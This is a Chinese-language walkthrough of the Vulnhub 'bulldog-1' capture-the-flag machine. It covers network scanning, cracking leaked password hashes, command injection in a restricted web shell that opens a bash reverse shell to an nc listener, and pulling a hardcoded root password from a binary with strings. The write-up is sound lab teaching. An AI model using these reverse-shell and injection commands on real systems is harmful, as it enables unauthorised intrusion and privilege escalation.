vuInhub靶場實戰系列--bulldog-1

免責聲明

本文檔僅供學習和研究使用,請勿使用文中的技術源碼用于非法用途,任何人造成的任何負面影響,與本人無關。

目錄

  • 免責聲明
  • 前言
  • 一、環境配置
    • 1.1 靶場信息
    • 1.2 靶場配置
  • 二、信息收集
    • 2.1 主機發現
      • 2.1.1 netdiscover
      • 2.1.2 nmap主機掃描
      • 2.1.3 arp-scan主機掃描
    • 2.2 端口掃描
      • 2.2.1 masscan掃描
      • 2.2.2 nmap掃描
    • 2.3 指紋識別
    • 2.4 目錄掃描
      • 2.4.1 dirb目錄掃描
      • 2.4.2 dirsearch目錄掃描
    • 2.5 漏洞切入點
      • 2.5.1 訪問登錄頁
      • 2.5.2 訪問dev頁
  • 三、滲透測試
    • 3.1 嘗試用戶登錄
      • 3.1.1 nick用戶
      • 3.1.2 sarah用戶
    • 3.2 反彈shell
      • 3.2.1 kali監聽端口
      • 3.2.2 命令注入
      • 3.2.3 kali接收反彈shell
    • 3.3 系統提權
      • 3.3.1 目錄切換
      • 3.3.2 列舉隱藏文件
      • 3.3.3 切換到隱藏文件目錄
      • 3.3.4 列舉隱藏文件
      • 3.3.5 查看隱藏文件
        • 3.3.5.1 cat查看隱藏文件
        • 3.3.5.2 strings 命令查看隱藏文件
      • 3.3.6 切換超級管理員用戶
  • 滲透總結
  • 參考文章


前言

今日測試內容滲透bulldog-1靶機:

Vulnhub是一個提供各種漏洞環境的靶場平臺,大部分環境是做好的虛擬機鏡像文件,鏡像預先設計了多種漏洞。本文介紹bulldog-1靶機滲透測試,內容包括主機掃描(nmap\netdiscover)、端口掃描(nmap\masscan)、目錄掃描(dirb\dirsearch)MD5在線解碼、netcat、反彈shell、linux內核提權等內容。

Description
Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out? 😃
This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you!
Difficulty: Beginner/Intermediate, if you get stuck, try to figure out all the different ways you can interact with the system. That’s my only hint 😉
Made by Nick Frichette (frichetten.com) Twitter: @frichette_n
I’d highly recommend running this on Virtualbox, I had some issues getting it to work in VMware. Additionally DHCP is enabled so you shouldn’t have any troubles getting it onto your network. It defaults to bridged mode, but feel free to change that if you like.


一、環境配置

1.1 靶場信息

官方鏈接https://www.vulnhub.com/entry/bulldog-1,211/
發布日期2017年8月28日
靶場大小761MB
作者Nick Frichette
系列Bulldog
難度★☆☆☆☆

1.2 靶場配置

  • 滲透測試環境配置,請參考作者前面的內容vuInhub靶場實戰系列-DC-2實戰
  • 【解決辦法】- 靶機導入VMware后無法自動獲取IP地址

二、信息收集

2.1 主機發現

2.1.1 netdiscover

──(root?kali)-[/home/kali]
└─# netdiscover -i eth0 -r 192.168.6.0/24Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                   6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 360                                                                 _____________________________________________________________________________IP            At MAC Address     Count     Len  MAC Vendor / Hostname      -----------------------------------------------------------------------------192.168.6.1     00:50:56:c0:00:08      1      60  VMware, Inc.                                                                  192.168.6.2     00:50:56:f5:7b:9f      2     120  VMware, Inc.                                                                  192.168.6.161   00:0c:29:f4:70:75      2     120  VMware, Inc.                                                                  192.168.6.254   00:50:56:e1:a6:60      1      60  VMware, Inc.                                                                  

2.1.2 nmap主機掃描

┌──(root?kali)-[/home/kali]
└─# nmap -sP 192.168.6.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 03:15 EDT
Nmap scan report for 192.168.6.1
Host is up (0.00025s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.6.2
Host is up (0.00043s latency).
MAC Address: 00:50:56:F5:7B:9F (VMware)
Nmap scan report for 192.168.6.161
Host is up (0.00048s latency).
MAC Address: 00:0C:29:F4:70:75 (VMware)
Nmap scan report for 192.168.6.254
Host is up (0.00021s latency).
MAC Address: 00:50:56:E1:A6:60 (VMware)
Nmap scan report for 192.168.6.66
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 28.13 seconds

2.1.3 arp-scan主機掃描

┌──(root?kali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b6:02:f0, IPv4: 192.168.6.66
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.6.1	00:50:56:c0:00:08	VMware, Inc.
192.168.6.2	00:50:56:f5:7b:9f	VMware, Inc.
192.168.6.161	00:0c:29:f4:70:75	VMware, Inc.
192.168.6.254	00:50:56:e1:a6:60	VMware, Inc.4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.386 seconds (107.29 hosts/sec). 4 responded

綜上所述的三種掃描方式,獲得靶機信息
IP地址:192.168.6.161
MAC地址:00:0c:29:f4:70:75

2.2 端口掃描

2.2.1 masscan掃描

┌──(root?kali)-[/home/kali]
└─# masscan --rate=10000 --ports 0-65535 192.168.6.161
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-06-03 07:22:55 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 8080/tcp on 192.168.6.161                                 
Discovered open port 80/tcp on 192.168.6.161                                   
Discovered open port 23/tcp on 192.168.6.161   

2.2.2 nmap掃描

┌──(root?kali)-[/home/kali]
└─# nmap -sC -sV -oA bulldog-1 192.168.6.161
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 03:26 EDT
Nmap scan report for 192.168.6.161
Host is up (0.00066s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|   256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_  256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
|_http-title: Bulldog Industries
|_http-server-header: WSGIServer/0.1 Python/2.7.12
MAC Address: 00:0C:29:F4:70:75 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.21 seconds

綜上所述,獲得靶機開放的端口信息:
23端口:ssh服務
80端口:http服務( WSGIServer 0.1)
8080端口:http服務(WSGIServer 0.1)

2.3 指紋識別

┌──(root?kali)-[/home/kali]
└─# whatweb -v 192.168.6.161
WhatWeb report for http://192.168.6.161
Status    : 200 OK
Title     : Bulldog Industries
IP        : 192.168.6.161
Country   : RESERVED, ZZSummary   : Bootstrap, maybe Django, HTML5, HTTPServer[WSGIServer/0.1 Python/2.7.12], JQuery, Python[2.7.12], Script, X-Frame-Options[SAMEORIGIN]Detected Plugins:
[ Bootstrap ]Bootstrap is an open source toolkit for developing with HTML, CSS, and JS. Website     : https://getbootstrap.com/[ Django ]Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Certainty    : maybeWebsite     : https://www.djangoproject.com/[ HTML5 ]HTML version 5, detected by the doctype declaration [ HTTPServer ]HTTP server header string. This plugin also attempts to identify the operating system from the server header. String       : WSGIServer/0.1 Python/2.7.12 (from server string)[ JQuery ]A fast, concise, JavaScript that simplifies how to traverse HTML documents, handle events, perform animations, and add AJAX. Website     : http://jquery.com/[ Python ]Python is a programming language that lets you work more quickly and integrate your systems more effectively. You can learn to use Python and see almost immediate gains in productivity and lower maintenance costs. Version      : 2.7.12Website     : http://www.python.org/[ Script ]This plugin detects instances of script HTML elements and returns the script language/type. [ X-Frame-Options ]This plugin retrieves the X-Frame-Options value from the HTTP header. - More Info: http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.aspxString       : SAMEORIGINHTTP Headers:HTTP/1.0 200 OKDate: Mon, 03 Jun 2024 07:30:48 GMTServer: WSGIServer/0.1 Python/2.7.12X-Frame-Options: SAMEORIGINContent-Type: text/html; charset=utf-8

獲得一些關鍵信息;
Summary : Bootstrap, maybe Django, HTML5, HTTPServer[WSGIServer/0.1 Python/2.7.12], JQuery, Python[2.7.12], Script, X-Frame-Options[SAMEORIGIN]

2.4 目錄掃描

2.4.1 dirb目錄掃描

┌──(root?kali)-[/home/kali]
└─# dirb http://192.168.6.161-----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Mon Jun  3 03:34:10 2024
URL_BASE: http://192.168.6.161/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.6.161/ ----
==> DIRECTORY: http://192.168.6.161/admin/                                                                                                                                                                                        
==> DIRECTORY: http://192.168.6.161/dev/                                                                                                                                                                                          
+ http://192.168.6.161/robots.txt (CODE:200|SIZE:1071)                                                                                                                                                                            ---- Entering directory: http://192.168.6.161/admin/ ----
==> DIRECTORY: http://192.168.6.161/admin/auth/                                                                                                                                                                                   
==> DIRECTORY: http://192.168.6.161/admin/login/                                                                                                                                                                                  
==> DIRECTORY: http://192.168.6.161/admin/logout/                                                                                                                                                                                 ---- Entering directory: http://192.168.6.161/dev/ ----
==> DIRECTORY: http://192.168.6.161/dev/shell/                                                                                                                                                                                    ---- Entering directory: http://192.168.6.161/admin/auth/ ----
==> DIRECTORY: http://192.168.6.161/admin/auth/group/                                                                                                                                                                             
==> DIRECTORY: http://192.168.6.161/admin/auth/user/                                                                                                                                                                              ---- Entering directory: http://192.168.6.161/admin/login/ -------- Entering directory: http://192.168.6.161/admin/logout/ -------- Entering directory: http://192.168.6.161/dev/shell/ -------- Entering directory: http://192.168.6.161/admin/auth/group/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.(Try using FineTunning: '-f')---- Entering directory: http://192.168.6.161/admin/auth/user/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.(Try using FineTunning: '-f')-----------------
END_TIME: Mon Jun  3 03:36:39 2024
DOWNLOADED: 32284 - FOUND: 1

2.4.2 dirsearch目錄掃描

┌──(root?kali)-[/home/kali]
└─# dirsearch -u 192.168.6.161 -e * -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: 39772.zip | HTTP method: GET | Threads: 25 | Wordlist size: 9481Output File: /home/kali/reports/_192.168.6.161/_24-06-03_03-39-47.txtTarget: http://192.168.6.161/[03:39:47] Starting: 
[03:40:04] 301 -    0B  - /admin  ->  http://192.168.6.161/admin/           
[03:40:05] 302 -    0B  - /admin/  ->  http://192.168.6.161/admin/login/?next=/admin/
[03:40:05] 301 -    0B  - /admin/login  ->  http://192.168.6.161/admin/login/
[03:40:27] 200 -    3KB - /dev/                                             
[03:40:27] 301 -    0B  - /dev  ->  http://192.168.6.161/dev/               
[03:41:06] 200 -    1KB - /robots.txt                                       Task Completed

測試結果顯示,獲得一些目錄
登錄管理頁:http://192.168.6.161/admin/login/
登錄管理頁:http://192.168.6.161/admin/login/?next=/admin/
web-shell:http://192.168.6.161/dev/
robots協議:http://192.168.6.161/robots.txt

2.5 漏洞切入點

2.5.1 訪問登錄頁

訪問鏈接:
http://192.168.6.161/admin/login/

登錄頁

2.5.2 訪問dev頁

測試鏈接:
http://192.168.6.161/dev/
dev頁面
dve源碼
獲得一段內容:
關鍵信息

使用MD5在線解密工具,獲得以下信息。
圖表信息:

序號用戶名郵箱hash值解密hash
1alanalan@bulldogindustries.com6515229daf8dbdc8b89fed2e60f107433da5f2cb未解密
2williamwilliam@bulldogindustries.com38882f3b81f8f2bc47d9f3119155b05f954892fb未解密
3malikmalik@bulldogindustries.comc6f7e34d5d08ba4a40dd5627508ccb55b425e279未解密
4kevinkevin@bulldogindustries.com0e6ae9fe8af1cd4192865ac97ebf6bda414218a9未解密
5ashleyashley@bulldogindustries.com553d917a396414ab99785694afd51df3a8a8a3e0未解密
6nicknick@bulldogindustries.comddf45997a7e18a25ad5f5cf222da64814dd060d5bulldog
7sarahsarah@bulldogindustries.comd8b8dd5e7f000b8dea26ef8428caf38c04466b3ebulldoglover

三、滲透測試

3.1 嘗試用戶登錄

3.1.1 nick用戶

測試登錄鏈接:
http://192.168.6.161/admin/login/
用戶名:nick
密碼:bulldog
nick登錄成功

頁面顯示:“You don’t have permission to edit anything.”

但是發現這個頁面(http://192.168.6.161/dev/shell/)可以訪問nick web-shell
nick用戶可執行以下命令,其他命令則不允許執行:
ifconfig
ls
echo
pwd
cat
rm

如圖所示,可以執行ifconfig命令。
ifconfig頁面

3.1.2 sarah用戶

測試登錄鏈接:
http://192.168.6.161/admin/login/
用戶名:sarah
密碼:bulldoglover
sarah登錄成功
提示:“You don’t have permission to edit anything.”

發現dev頁面(http://192.168.6.161/dev/shell/)可以正常訪問
sarah用戶web-shell

也可以執行以下命令:
ifconfig
ls
echo
pwd
cat
rm

嘗試執行 cat manage.py
cat命令
綜上所述,存在遠程命令執行漏洞,下面我們將利用這幾個命令執行反彈shell,進行相關滲透測試。

3.2 反彈shell

3.2.1 kali監聽端口

└─# nc -lvp 10086                           
listening on [any] 10086 ...

bash終端已經顯示,監聽端口10086

3.2.2 命令注入

在“web-shell”頁面的命令輸入窗口,輸入以下命令,并按【回車鍵(Enter)】,或者點擊【Run】:

echo "bash -i >& /dev/tcp/192.168.6.66/10086 0>&1"|bash

命令注入

運行以上命令以后,下面的顯示框,不會有輸出,網頁標簽會顯示加載的圖標。
加載中

3.2.3 kali接收反彈shell

此時此刻,kali監聽端已經獲得了反彈shell,成功進入系統,但權限還不是root,下一步進行提權操作。

┌──(root?kali)-[/home/kali]
└─# nc -lvp 10086
listening on [any] 10086 ...
192.168.6.161: inverse host lookup failed: Host name lookup failure
connect to [192.168.6.66] from (UNKNOWN) [192.168.6.161] 33534
bash: cannot set terminal process group (1046): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.bash: /root/.bashrc: Permission denied
django@bulldog:/home/django/bulldog$ whoami
whoami
django
django@bulldog:/home/django/bulldog$ id
id
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)
django@bulldog:/home/django/bulldog$ 
django@bulldog:/home/django/bulldog$ ls
ls
bulldog
db.sqlite3
manage.py
django@bulldog:/home/django/bulldog$ cd /home	
cd /home/
django@bulldog:/home$ ls
ls
bulldogadmin
django
django@bulldog:/home$ cd bulldogadmin
cd bulldogadmin
django@bulldog:/home/bulldogadmin$ ls
ls
django@bulldog:/home/bulldogadmin$ 

沒有發現更多可以使用的信息。

3.3 系統提權

3.3.1 目錄切換

django@bulldog:/home/bulldogadmin$ cd /home/bulldogadmin
cd /home/bulldogadmin

3.3.2 列舉隱藏文件

django@bulldog:/home/bulldogadmin$ ls -al
ls -al
total 40
drwxr-xr-x 5 bulldogadmin bulldogadmin 4096 Sep 21  2017 .
drwxr-xr-x 4 root         root         4096 Aug 24  2017 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin  220 Aug 24  2017 .bash_logout
-rw-r--r-- 1 bulldogadmin bulldogadmin 3771 Aug 24  2017 .bashrc
drwx------ 2 bulldogadmin bulldogadmin 4096 Aug 24  2017 .cache
drwxrwxr-x 2 bulldogadmin bulldogadmin 4096 Sep 21  2017 .hiddenadmindirectory
drwxrwxr-x 2 bulldogadmin bulldogadmin 4096 Aug 25  2017 .nano
-rw-r--r-- 1 bulldogadmin bulldogadmin  655 Aug 24  2017 .profile
-rw-rw-r-- 1 bulldogadmin bulldogadmin   66 Aug 25  2017 .selected_editor
-rw-r--r-- 1 bulldogadmin bulldogadmin    0 Aug 24  2017 .sudo_as_admin_successful
-rw-rw-r-- 1 bulldogadmin bulldogadmin  217 Aug 24  2017 .wget-hsts
django@bulldog:/home/bulldogadmin$

在/home/bulldogadmin目錄中,發現隱藏文件(.hiddenadmindirectory)文件夾

3.3.3 切換到隱藏文件目錄

django@bulldog:/home/bulldogadmin$ cd .hiddenadmindirectory
cd .hiddenadmindirectory

3.3.4 列舉隱藏文件

django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ ls -al
ls -al
total 24
drwxrwxr-x 2 bulldogadmin bulldogadmin 4096 Sep 21  2017 .
drwxr-xr-x 5 bulldogadmin bulldogadmin 4096 Sep 21  2017 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin 8728 Aug 26  2017 customPermissionApp
-rw-rw-r-- 1 bulldogadmin bulldogadmin  619 Sep 21  2017 note

發現2個隱藏文件:
customPermissionApp
note

3.3.5 查看隱藏文件

3.3.5.1 cat查看隱藏文件
django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ cat customPermissionApp
<gadmin/.hiddenadmindirectory$ cat customPermissionApp                                                                                                                                                                            ELF>󾃀@X@8	@@@@@88@8@@@ ``8@ ((`(`?TT@T@DDP?xx@x@44Q?R?``򂮁/lib64/ld-linux-x86-64.so.2GNU GNU?32S0-t𐴚Ye??3o 
Iui     S򄖐` `(`0`H                                                                                                !(: libc.so.6puts__stack_chk_failsystem__libc_start_main__gmon_start__GLIBC_2.4GLIBC_2.2.5iiH󿿴.?5 ?% @?% h????%zh????%rh????%jh魷???%"f1?ОH?寐TI?򄿈?@H??踿??󤞄?O`UH-H`H?󿿴]?H`?󿤟]_@f.?H`UH?`H?H?󉂨?Hň?t?H󿿴]?H`?󾞝|D=±uUH槮???]??? `H?u??H󿿴𔈉瀐]軿??UH??H%(H@蚾???@@萾???i@覾??H?SUPERultHEH?imatePASHEH?SWORDyouHE H?CANTgetHE¨HU°?H?H?H󁈃?Hu󆱴%(t樾???DAWAVA?AUATL%~ UH-~ SI񉊕L).H?谽??H?1?L錉񄊿A??AH9?[]A\A]A^A_Df.APlease enter a valid username to use root privileges	Usage: ./customPermissionApp <username>sudo su root򿩽??P^t?????????zRx Rx FJ?;*3$"D?󣿐C
Dd8t??eBBE B(H0H8M@r8A0A(B BB?`t??°@@ 
򄾙򿾯@H@?@                              `@
_``@..  t??o?@???o򀾯¨@(`@|@?@?@GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 201606098@T@t@@?@H@¨?@	悀 
@ `@ 
?@󾃀򄾃@x@°@`` `(`򁖐`8`H` @H`S`z°@`¥򼿄򿹁@∥ `󀓓`?(`?`x@`+򄾂; 󿿁 8`WiH`5򄿰 ?8`? ?@`忑@𿒀@e󿎚P`á󾃀*H`?¥ ,H`8  `@crtstuff.c__JCR_LIST__deregister_tm_clones__do_global_dtors_auxcompleted.7585__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrycustomPermissionApp.c__FRAME_END____JCR_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTableputs@@GLIBC_2.2.5_edata__stack_chk_fail@@GLIBC_2.4system@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init__bss_startmain_Jv_RegisterClasses__TMC_END___ITM_registerTMCloneTable.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.plt.data.bss.comment            @

看不懂。

django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ cat note
cat note
Nick,I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not! It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?Let me know what you think of it!-Ashley

這個筆記告訴我們,這是一個“super prototype”。

3.3.5.2 strings 命令查看隱藏文件

strings 命令用來提取和顯示非文本文件中的文本字符串。

django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ strings customPermissionApp
<gadmin/.hiddenadmindirectory$ strings customPermissionApp                   
/lib64/ld-linux-x86-64.so.2
32S0-t
libc.so.6
puts
__stack_chk_fail
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privilegesUsage: ./customPermissionApp <username>
sudo su root
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7585
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
customPermissionApp.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ 

獲得一個秘密:

序號密碼
1SUPERultimatePASSWORDyouCANTget

3.3.6 切換超級管理員用戶

django@bulldog:/home/bulldogadmin/.hiddenadmindirectory$ sudo su -
sudo su -
[sudo] password for django: SUPERultimatePASSWORDyouCANTgetroot@bulldog:~# 

輸入密碼,顯示獲得root權限。O(∩_∩)O哈哈~


滲透總結

在本次bulldog-1靶機滲透測試,內容包括主機掃描(nmap\netdiscover)、端口掃描(nmap\masscan)、目錄掃描(dirb\dirsearch)MD5在線解密、netcat、反彈shell、linux內核提權等內容:

  • 使用nmap進行主機發現和端口掃描
  • 使用dirbsearch進行目錄掃描
  • MD5解密
  • netcat監聽
  • 反彈shell
  • linux內核提權

參考文章

  • bulldog-1靶場
  • arp-scan使用
  • Netdiscover基本使用
  • nmap詳細使用教程
  • 黑客工具之whatweb詳細使用教程
  • dirsearch - Web path discovery
  • Netcat - 你需要知道的一切
  • bulldog滲透測試流程圖

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/22838.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/22838.shtml
英文地址,請注明出處:http://en.pswp.cn/web/22838.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

友思特案例 | 自動快速定位:使用波長選擇器測量濾光片的關鍵光學性能指標

導讀 光學濾光片檢測的手動調節校準的傳統方法存在諸多不確定誤差和高昂的成本消耗。友思特全自動可調諧光源檢測解決方案&#xff0c;可全自動調節波長帶寬&#xff0c;快速收集光譜數據&#xff0c;縮短檢測時間、降低質檢成本&#xff0c;實現極高的準確率和快速檢測效率。…

RA8D1-Vision Board上OSPI-Flash實踐

Vision-Board 開發板是 RT-Thread 推出基于瑞薩 Cortex-M85 架構 RA8D1 芯片,擁有Helium和TrustZone技術的加持,性能非常強大。 內核:480 MHz Arm Cortex-M85,包含Helium和TrustZone技術 存儲:集成2MB/1MB閃存和1MB SRAM(包括TCM,512KB ECC保護) 外設:兼容xSPI的四線O…

gorse修改開源項目后,如何使用Docker compose發布

代碼修改 git checkout v0.4.15 修改代碼后提交。 鏡像構建 export GOOSlinux export GOARCHamd64 export GOMAXPROCS8go build -ldflags"-s -w -X github.com/zhenghaoz/gorse/cmd/version.Version$(git describe --tags $(git rev-parse HEAD)) -X github.com/zhengh…

如何在強數據一致性要求下設計數據庫的高可用架構

在高可用的三大架構設計(基于數據層的高可用、基于業務層的高可用,以及融合的高可用架構設計)中。僅僅解決了業務連續性的問題:也就是當服務器因為各種原因,發生宕機,導致MySQL 數據庫不可用之后,快速恢復業務。但對有狀態的數據庫服務來說,在一些核心業務系統中,比如…

運營商卷大模型,云廠商霸主地位不保?

文&#xff5c;藝 思 編&#xff5c;王一粟 經過了2023年的小試牛刀&#xff0c;2024年&#xff0c;三大運營商帶著大模型一路狂飆。 剛剛過去的5月&#xff0c;中國電信、中國移動、中國聯通三大運營商集體完成了新一輪的大模型進化&#xff0c;特別是圍繞大模型的研發與…

【區分vue2和vue3下的element UI TimePicker 時間選擇器組件,分別詳細介紹屬性,事件,方法如何使用,并舉例】

在 Vue 2 中&#xff0c;我們通常使用 Element UI 來實現時間選擇器&#xff08;TimePicker&#xff09;組件。然而&#xff0c;在 Vue 3 中&#xff0c;Element UI 沒有官方支持 Vue 3 的版本。但是&#xff0c;有一個名為 Element Plus 的庫&#xff0c;它是 Element UI 的 V…

04--Tomcat

前言&#xff1a;本章整理tomcat的知識點&#xff0c;tomcat知識點相較nginx比較少&#xff0c;但是也是運維必會的軟件&#xff0c;這里結合實際項目整理一下。 1、tomcat簡介 Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器&#xff0c;屬于輕量級應用服務器&#x…

強烈安利10款手機App!

AI視頻生成&#xff1a;小說文案智能分鏡智能識別角色和場景批量Ai繪圖自動配音添加音樂一鍵合成視頻https://aitools.jurilu.com/ 1.聽書神器——昊昊聽書 昊昊聽書app是一款專門為用戶提供有聲讀物的應用程序。它不僅提供了各種類型的有聲書籍&#xff0c;還有各種知名的電…

pw命令1

1、查看集群狀態命令 gs_om -t status --detail 2、備節點升主&#xff08;本例子升2節點為主&#xff09; date && time cm_ctl switchover -n 2 -D /database/panweidb/data 3、cm_ctl是全局的&#xff0c;在一個節點運行 cm_ctl stop && cm_ctl start 就重…

鑄鐵機械5G智能工廠工業物聯數字孿生平臺,推進制造業數字化轉型

鑄鐵機械5G智能工廠工業物聯數字孿生平臺&#xff0c;推進制造業數字化轉型。工業物聯數字孿生平臺以5G技術為基礎&#xff0c;通過工業物聯網連接鑄鐵機械生產過程中的各個環節&#xff0c;運用數字孿生技術構建虛擬工廠&#xff0c;實現生產過程的實時監測、模擬與優化&#…

垃圾回收算法

垃圾回收基于“對象不再使用”的原則&#xff0c;自動檢測并回收不再被引用的對象。JVM通過跟蹤對象的引用關系來判斷對象是否仍在使用中。當一個對象沒有任何引用指向它時&#xff0c;垃圾回收器就會將其標記為可回收對象。 垃圾回收的工作機制 標記-清除&#xff08;Mark-S…

ros與硬件的交互

&#xff08;一&#xff09; 與usb相機的交互 第一個鏈接是 先從usb中拿到圖像&#xff0c;然后再發布和訂閱 【C】ROS&#xff1a;cv_bridge包使用與圖像轉換示例_cvbridge-CSDN博客 第二個鏈接是使用方法 ROS學習筆記--cv_bridge_cvbridge-CSDN博客 第三個鏈接是&#xff0c;…

C語言的printf輸出問題

看到這段代碼的時候&#xff0c;想到這個printf輸出的值是多少? 若您想到的答案是1-2&#xff0c;真的是這樣嗎&#xff1f; #include <stdio.h>int main(int argc, char *argv[]) {int i 1;printf("%d-%d\r\n", i, i);return 0; }先了解一個知識點&#xf…

2024.6.05總結1102

今天刷到一個視頻&#xff0c;話題非常沉重&#xff0c;看完后感覺整個人特別壓抑。 這個話題是&#xff1a;“高考能改變一個人的命運嗎&#xff1f;”在這個視頻中&#xff0c;主持人采訪了很多個人&#xff0c;但很多人的觀點是今時不同往日&#xff0c;想要靠高考改變命運很…

I.MX6ULL UART 串口通信實驗

系列文章目錄 I.MX6ULL UART 串口通信實驗 I.MX6ULL UART 串口通信實驗 系列文章目錄一、前言二、I.MX6U 串口簡介2.1 UART 簡介2.2 I.MX6U UART 簡介 三、硬件原理分析四、實驗程序編寫五、編譯下載驗證5.1編寫 Makefile 和鏈接腳本5.2 編譯下載 一、前言 不管是單片機開發還…

解鎖用Mermaid繪制圖表的神奇力量

在這個快節奏、信息爆炸的時代&#xff0c;我們迫切需要一種簡單、高效且美觀的方式來表達復雜的思想和流程。 幸運的是&#xff0c;Mermaid就是這樣一種工具。無論你是開發者、項目經理還是設計師&#xff0c;Mermaid都能幫助你輕松繪制各種類型的圖表&#xff0c;讓你的文檔…

充電樁軟硬件,賺錢新招數!-慧哥充電樁開源系統

慧哥充電樁開源平臺V2.5.2_----- SpringCloud 汽車 電動自行車 云快充1.5、云快充1.6 https://liwenhui.blog.csdn.net/article/details/134773779?spm1001.2014.3001.5502 充電樁軟件和硬件一體化的盈利方向可以清晰地歸納為以下幾個主要方面&#xff1a; 充電服務收費&…

代碼隨想錄算法訓練營第五十天|198.打家劫舍、213.打家劫舍II、337.打家劫舍III

